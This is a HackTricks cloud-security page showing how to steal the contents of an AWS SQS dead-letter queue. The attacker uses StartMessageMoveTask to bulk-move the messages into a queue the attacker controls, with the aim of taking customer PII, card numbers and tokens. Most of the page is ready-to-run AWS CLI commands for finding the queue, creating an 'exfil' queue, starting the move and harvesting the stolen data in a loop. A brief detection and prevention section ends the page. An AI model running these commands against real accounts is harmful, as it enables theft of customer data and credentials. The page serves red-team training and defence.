AWS – SQS DLQ Redrive Exfiltration via StartMessageMoveTask

Reading time: 7 minutes

tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Description

Abuse SQS message move tasks to steal all accumulated messages from a victim's Dead-Letter Queue (DLQ) by redirecting them to an attacker-controlled queue using sqs:StartMessageMoveTask. This technique exploits AWS's legitimate message recovery feature to exfiltrate sensitive data that has accumulated in DLQs over time.

What is a Dead-Letter Queue (DLQ)?

A Dead-Letter Queue is a special SQS queue where messages are automatically sent when they fail to be processed successfully by the main application. These failed messages often contain:

  • Sensitive application data that couldn't be processed
  • Error details and debugging information
  • Personal Identifiable Information (PII)
  • API tokens, credentials, or other secrets
  • Business-critical transaction data

DLQs act as a "graveyard" for failed messages, making them valuable targets since they accumulate sensitive data over time that applications couldn't handle properly.

Attack Scenario

Real-world example:

  1. E-commerce application processes customer orders through SQS
  2. Some orders fail (payment issues, inventory problems, etc.) and get moved to a DLQ
  3. DLQ accumulates weeks/months of failed orders containing customer data: {"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}
  4. Attacker gains access to AWS credentials with SQS permissions
  5. Attacker discovers the DLQ contains thousands of failed orders with sensitive data
  6. Instead of trying to access individual messages (slow and obvious), attacker uses StartMessageMoveTask to bulk transfer ALL messages to their own queue
  7. Attacker extracts all historical sensitive data in one operation

Requirements

  • The source queue must be configured as a DLQ (referenced by at least one queue RedrivePolicy).
  • IAM permissions (run as the compromised victim principal):
    • On DLQ (source): sqs:StartMessageMoveTask, sqs:GetQueueAttributes.
    • On destination queue: permission to deliver messages (e.g., queue policy allowing sqs:SendMessage from the victim principal). For same-account destinations this is typically allowed by default.
    • If SSE-KMS is enabled: on source CMK kms:Decrypt, and on destination CMK kms:GenerateDataKey, kms:Encrypt.

Impact

Potential Impact: Exfiltrate sensitive payloads accumulated in DLQs (failed events, PII, tokens, application payloads) at high speed using native SQS APIs. Works cross-account if the destination queue policy allows SendMessage from the victim principal.

How to Abuse

  • Identify the victim DLQ ARN and ensure it is actually referenced as a DLQ by some queue (any queue is fine).
  • Create or choose an attacker-controlled destination queue and get its ARN.
  • Start a message move task from the victim DLQ to your destination queue.
  • Monitor progress or cancel if needed.

CLI Example: Exfiltrating Customer Data from E-commerce DLQ

Scenario: An attacker has compromised AWS credentials and discovered that an e-commerce application uses SQS with a DLQ containing failed customer order processing attempts.

  1. Discover and examine the victim DLQ
bash
# List queues to find DLQs (look for names containing 'dlq', 'dead', 'failed', etc.)
aws sqs list-queues --queue-name-prefix dlq

# Let's say we found: https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq
VICTIM_DLQ_URL="https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq"
SRC_ARN=$(aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text)

# Check how many messages are in the DLQ (potential treasure trove!)
aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" \
  --attribute-names ApproximateNumberOfMessages
# Output might show: "ApproximateNumberOfMessages": "1847" 
  1. Create attacker-controlled destination queue
bash
# Create our exfiltration queue
ATTACKER_Q_URL=$(aws sqs create-queue --queue-name hacker-exfil-$(date +%s) --query QueueUrl --output text)
ATTACKER_Q_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_Q_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text)

echo "Created exfiltration queue: $ATTACKER_Q_ARN"
  1. Execute the bulk message theft
bash
# Start moving ALL messages from victim DLQ to our queue
# This operation will transfer thousands of failed orders containing customer data
echo "Starting bulk exfiltration of $SRC_ARN to $ATTACKER_Q_ARN"
TASK_RESPONSE=$(aws sqs start-message-move-task \
  --source-arn "$SRC_ARN" \
  --destination-arn "$ATTACKER_Q_ARN" \
  --max-number-of-messages-per-second 100)

echo "Move task started: $TASK_RESPONSE"

# Monitor the theft progress
aws sqs list-message-move-tasks --source-arn "$SRC_ARN" --max-results 10
  1. Harvest the stolen sensitive data
bash
# Receive the exfiltrated customer data
echo "Receiving stolen customer data..."
aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \
  --attribute-names All --message-attribute-names All \
  --max-number-of-messages 10 --wait-time-seconds 5

# Example of what an attacker might see:
# {
#   "Body": "{\"customerId\":\"cust_12345\",\"email\":\"john@example.com\",\"creditCard\":\"4111-1111-1111-1111\",\"orderTotal\":\"$299.99\",\"failureReason\":\"Payment declined\"}",
#   "MessageId": "12345-abcd-6789-efgh"
# }

# Continue receiving all messages in batches
while true; do
  MESSAGES=$(aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \
    --max-number-of-messages 10 --wait-time-seconds 2 --output json)
  
  if [ "$(echo "$MESSAGES" | jq '.Messages | length')" -eq 0 ]; then
    echo "No more messages - exfiltration complete!"
    break
  fi
  
  echo "Received batch of stolen data..."
  # Process/save the stolen customer data
  echo "$MESSAGES" >> stolen_customer_data.json
done

Cross-account notes

  • The destination queue must have a resource policy allowing the victim principal to sqs:SendMessage (and, if used, KMS grants/permissions).

Why This Attack is Effective

  1. Legitimate AWS Feature: Uses built-in AWS functionality, making it hard to detect as malicious
  2. Bulk Operation: Transfers thousands of messages quickly instead of slow individual access
  3. Historical Data: DLQs accumulate sensitive data over weeks/months
  4. Under the Radar: Many organizations don't monitor DLQ access closely
  5. Cross-Account Capable: Can exfiltrate to attacker's own AWS account if permissions allow

Detection and Prevention

Detection

Monitor CloudTrail for suspicious StartMessageMoveTask API calls:

json
{
  "eventName": "StartMessageMoveTask",
  "sourceIPAddress": "suspicious-ip",
  "userIdentity": {
    "type": "IAMUser",
    "userName": "compromised-user"
  },
  "requestParameters": {
    "sourceArn": "arn:aws:sqs:us-east-1:123456789012:sensitive-dlq",
    "destinationArn": "arn:aws:sqs:us-east-1:attacker-account:exfil-queue"
  }
}

Prevention

  1. Least Privilege: Restrict sqs:StartMessageMoveTask permissions to only necessary roles
  2. Monitor DLQs: Set up CloudWatch alarms for unusual DLQ activity
  3. Cross-Account Policies: Carefully review SQS queue policies allowing cross-account access
  4. Encrypt DLQs: Use SSE-KMS with restricted key policies
  5. Regular Cleanup: Don't let sensitive data accumulate in DLQs indefinitely

tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks